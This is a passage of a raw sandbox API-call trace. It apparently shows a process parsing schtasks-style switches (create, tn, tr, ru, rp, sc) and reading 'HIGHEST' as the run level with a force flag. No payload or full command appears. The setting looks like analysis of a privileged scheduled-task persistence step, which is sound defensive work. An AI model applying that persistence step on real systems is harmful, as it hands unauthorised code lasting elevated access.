(lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0112.037] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.037] lstrlenW (lpString="sd") returned 2 [0112.037] lstrlenW (lpString="sd") returned 2 [0112.037] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.037] lstrlenW (lpString="rl") returned 2 [0112.038] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.038] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|sd|") returned 4 [0112.038] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|rl|") returned 4 [0112.038] lstrlenW (lpString="|sd|") returned 4 [0112.038] lstrlenW (lpString="|rl|") returned 4 [0112.038] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0112.038] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.038] lstrlenW (lpString="ed") returned 2 [0112.038] lstrlenW (lpString="ed") returned 2 [0112.038] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.038] lstrlenW (lpString="rl") returned 2 [0112.038] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.038] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|ed|") returned 4 [0112.038] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|rl|") returned 4 [0112.038] lstrlenW (lpString="|ed|") returned 4 [0112.038] lstrlenW (lpString="|rl|") returned 4 [0112.038] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0112.038] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.038] lstrlenW (lpString="it") returned 2 [0112.038] lstrlenW (lpString="it") returned 2 [0112.038] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.038] lstrlenW (lpString="rl") returned 2 [0112.038] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.038] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|it|") returned 4 [0112.038] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|rl|") returned 4 [0112.038] lstrlenW (lpString="|it|") returned 4 [0112.038] lstrlenW (lpString="|rl|") returned 4 [0112.039] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0112.039] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.039] lstrlenW (lpString="et") returned 2 [0112.039] lstrlenW (lpString="et") returned 2 [0112.039] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.039] lstrlenW (lpString="rl") returned 2 [0112.039] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.039] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|et|") returned 4 [0112.039] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|rl|") returned 4 [0112.039] lstrlenW (lpString="|et|") returned 4 [0112.039] lstrlenW (lpString="|rl|") returned 4 [0112.039] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0112.039] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.039] lstrlenW (lpString="k") returned 1 [0112.039] lstrlenW (lpString="k") returned 1 [0112.039] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.039] lstrlenW (lpString="rl") returned 2 [0112.039] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.039] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|k|") returned 3 [0112.039] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|rl|") returned 4 [0112.039] lstrlenW (lpString="|k|") returned 3 [0112.039] lstrlenW (lpString="|rl|") returned 4 [0112.039] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.039] lstrlenW (lpString="du") returned 2 [0112.039] lstrlenW (lpString="du") returned 2 [0112.039] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.039] lstrlenW (lpString="rl") returned 2 [0112.039] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.040] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|du|") returned 4 [0112.040] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|rl|") returned 4 [0112.040] lstrlenW (lpString="|du|") returned 4 [0112.040] lstrlenW (lpString="|rl|") returned 4 [0112.040] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0112.040] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.040] lstrlenW (lpString="ri") returned 2 [0112.040] lstrlenW (lpString="ri") returned 2 [0112.040] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.040] lstrlenW (lpString="rl") returned 2 [0112.040] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.040] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|ri|") returned 4 [0112.040] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|rl|") returned 4 [0112.040] lstrlenW (lpString="|ri|") returned 4 [0112.040] lstrlenW (lpString="|rl|") returned 4 [0112.040] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0112.040] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.040] lstrlenW (lpString="z") returned 1 [0112.040] lstrlenW (lpString="z") returned 1 [0112.040] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.040] lstrlenW (lpString="rl") returned 2 [0112.040] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.040] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|z|") returned 3 [0112.040] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|rl|") returned 4 [0112.040] lstrlenW (lpString="|z|") returned 3 [0112.040] lstrlenW (lpString="|rl|") returned 4 [0112.040] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.040] lstrlenW (lpString="f") returned 1 [0112.041] lstrlenW (lpString="f") returned 1 [0112.041] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.041] lstrlenW (lpString="rl") returned 2 [0112.041] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.041] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|f|") returned 3 [0112.041] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|rl|") returned 4 [0112.041] lstrlenW (lpString="|f|") returned 3 [0112.041] lstrlenW (lpString="|rl|") returned 4 [0112.041] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.041] lstrlenW (lpString="v1") returned 2 [0112.041] lstrlenW (lpString="v1") returned 2 [0112.041] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.041] lstrlenW (lpString="rl") returned 2 [0112.041] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.041] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|v1|") returned 4 [0112.041] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|rl|") returned 4 [0112.041] lstrlenW (lpString="|v1|") returned 4 [0112.041] lstrlenW (lpString="|rl|") returned 4 [0112.041] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0112.041] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.041] lstrlenW (lpString="xml") returned 3 [0112.041] lstrlenW (lpString="xml") returned 3 [0112.041] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.041] lstrlenW (lpString="rl") returned 2 [0112.041] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.041] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|xml|") returned 5 [0112.041] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|rl|") returned 4 [0112.042] lstrlenW (lpString="|xml|") returned 5 [0112.042] lstrlenW (lpString="|rl|") returned 4 [0112.042] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0112.042] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.042] lstrlenW (lpString="ec") returned 2 [0112.042] lstrlenW (lpString="ec") returned 2 [0112.042] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.042] lstrlenW (lpString="rl") returned 2 [0112.042] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.042] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|ec|") returned 4 [0112.042] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|rl|") returned 4 [0112.042] lstrlenW (lpString="|ec|") returned 4 [0112.042] lstrlenW (lpString="|rl|") returned 4 [0112.042] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0112.042] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.042] lstrlenW (lpString="rl") returned 2 [0112.042] lstrlenW (lpString="rl") returned 2 [0112.042] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.042] lstrlenW (lpString="rl") returned 2 [0112.042] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.042] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|rl|") returned 4 [0112.042] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|rl|") returned 4 [0112.042] lstrlenW (lpString="|rl|") returned 4 [0112.042] lstrlenW (lpString="|rl|") returned 4 [0112.042] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0112.042] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.042] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.042] lstrlenW (lpString="HIGHEST") returned 7 [0112.042] lstrlenW (lpString="-/") returned 2 [0112.043] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0112.043] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.043] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.043] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.043] lstrlenW (lpString="HIGHEST") returned 7 [0112.043] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0112.043] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.043] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.043] _memicmp (_Buf1=0x144ec91a950, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.043] lstrlenW (lpString="HIGHEST") returned 7 [0112.043] lstrlenW (lpString="HIGHEST") returned 7 [0112.043] lstrlenW (lpString=" \x09") returned 2 [0112.043] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0112.043] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0112.052] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0112.052] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0112.052] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0112.052] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0112.052] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0112.052] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0112.052] GetLastError () returned 0x0 [0112.052] lstrlenW (lpString="HIGHEST") returned 7 [0112.052] lstrlenW (lpString="HIGHEST") returned 7 [0112.052] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.052] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.052] lstrlenW (lpString="/f") returned 2 [0112.052] lstrlenW (lpString="-/") returned 2 [0112.052] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0112.052] lstrlenW (lpString="create") returned 6 [0112.052] lstrlenW (lpString="create") returned 6 [0112.052] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.052] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.052] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|create|") returned 8 [0112.053] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|f|") returned 3 [0112.053] lstrlenW (lpString="|create|") returned 8 [0112.053] lstrlenW (lpString="|f|") returned 3 [0112.053] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0112.053] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.053] lstrlenW (lpString="?") returned 1 [0112.053] lstrlenW (lpString="?") returned 1 [0112.053] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.053] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.053] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|?|") returned 3 [0112.053] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|f|") returned 3 [0112.053] lstrlenW (lpString="|?|") returned 3 [0112.053] lstrlenW (lpString="|f|") returned 3 [0112.053] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0112.053] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.053] lstrlenW (lpString="s") returned 1 [0112.053] lstrlenW (lpString="s") returned 1 [0112.053] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.053] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.053] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|s|") returned 3 [0112.053] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|f|") returned 3 [0112.053] lstrlenW (lpString="|s|") returned 3 [0112.053] lstrlenW (lpString="|f|") returned 3 [0112.053] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0112.053] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.053] lstrlenW (lpString="u") returned 1 [0112.053] lstrlenW (lpString="u") returned 1 [0112.053] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.053] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.054] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|u|") returned 3 [0112.054] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|f|") returned 3 [0112.054] lstrlenW (lpString="|u|") returned 3 [0112.054] lstrlenW (lpString="|f|") returned 3 [0112.054] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0112.054] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.054] lstrlenW (lpString="p") returned 1 [0112.054] lstrlenW (lpString="p") returned 1 [0112.054] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.054] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.054] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|p|") returned 3 [0112.054] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|f|") returned 3 [0112.054] lstrlenW (lpString="|p|") returned 3 [0112.054] lstrlenW (lpString="|f|") returned 3 [0112.054] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0112.054] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.054] lstrlenW (lpString="ru") returned 2 [0112.054] lstrlenW (lpString="ru") returned 2 [0112.054] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.054] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.054] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|ru|") returned 4 [0112.054] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|f|") returned 3 [0112.054] lstrlenW (lpString="|ru|") returned 4 [0112.054] lstrlenW (lpString="|f|") returned 3 [0112.054] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0112.054] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.054] lstrlenW (lpString="rp") returned 2 [0112.054] lstrlenW (lpString="rp") returned 2 [0112.054] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.055] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.055] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|rp|") returned 4 [0112.055] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|f|") returned 3 [0112.055] lstrlenW (lpString="|rp|") returned 4 [0112.055] lstrlenW (lpString="|f|") returned 3 [0112.055] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0112.055] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.055] lstrlenW (lpString="sc") returned 2 [0112.055] lstrlenW (lpString="sc") returned 2 [0112.055] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.055] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.055] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|sc|") returned 4 [0112.055] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|f|") returned 3 [0112.055] lstrlenW (lpString="|sc|") returned 4 [0112.055] lstrlenW (lpString="|f|") returned 3 [0112.055] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0112.055] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.055] lstrlenW (lpString="mo") returned 2 [0112.055] lstrlenW (lpString="mo") returned 2 [0112.055] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.055] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.055] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|mo|") returned 4 [0112.055] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|f|") returned 3 [0112.055] lstrlenW (lpString="|mo|") returned 4 [0112.055] lstrlenW (lpString="|f|") returned 3 [0112.055] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0112.055] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.055] lstrlenW (lpString="d") returned 1 [0112.056] lstrlenW (lpString="d") returned 1 [0112.056] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.056] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.056] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|d|") returned 3 [0112.056] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|f|") returned 3 [0112.056] lstrlenW (lpString="|d|") returned 3 [0112.056] lstrlenW (lpString="|f|") returned 3 [0112.056] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0112.056] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.056] lstrlenW (lpString="m") returned 1 [0112.056] lstrlenW (lpString="m") returned 1 [0112.056] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.056] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.056] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|m|") returned 3 [0112.056] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|f|") returned 3 [0112.056] lstrlenW (lpString="|m|") returned 3 [0112.056] lstrlenW (lpString="|f|") returned 3 [0112.056] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0112.056] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.056] lstrlenW (lpString="i") returned 1 [0112.056] lstrlenW (lpString="i") returned 1 [0112.056] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.056] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.056] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|i|") returned 3 [0112.056] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|f|") returned 3 [0112.056] lstrlenW (lpString="|i|") returned 3 [0112.056] lstrlenW (lpString="|f|") returned 3 [0112.056] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0112.057] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.057] lstrlenW (lpString="tn") returned 2 [0112.057] lstrlenW (lpString="tn") returned 2 [0112.057] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.057] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.057] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|tn|") returned 4 [0112.057] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|f|") returned 3 [0112.057] lstrlenW (lpString="|tn|") returned 4 [0112.057] lstrlenW (lpString="|f|") returned 3 [0112.057] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0112.057] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.057] lstrlenW (lpString="tr") returned 2 [0112.057] lstrlenW (lpString="tr") returned 2 [0112.057] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.057] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.057] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|tr|") returned 4 [0112.057] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|f|") returned 3 [0112.057] lstrlenW (lpString="|tr|") returned 4 [0112.057] lstrlenW (lpString="|f|") returned 3 [0112.057] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0112.057] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.057] lstrlenW (lpString="st") returned 2 [0112.057] lstrlenW (lpString="st") returned 2 [0112.057] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.057] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.057] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|st|") returned 4 [0112.057] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|f|") returned 3 [0112.057] lstrlenW (lpString="|st|") returned 4 [0112.057] lstrlenW (lpString="|f|") returned 3 [0112.058] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0112.058] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.058] lstrlenW (lpString="sd") returned 2 [0112.058] lstrlenW (lpString="sd") returned 2 [0112.058] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.058] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.058] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|sd|") returned 4 [0112.058] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|f|") returned 3 [0112.058] lstrlenW (lpString="|sd|") returned 4 [0112.058] lstrlenW (lpString="|f|") returned 3 [0112.058] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0112.058] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.058] lstrlenW (lpString="ed") returned 2 [0112.058] lstrlenW (lpString="ed") returned 2 [0112.058] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, 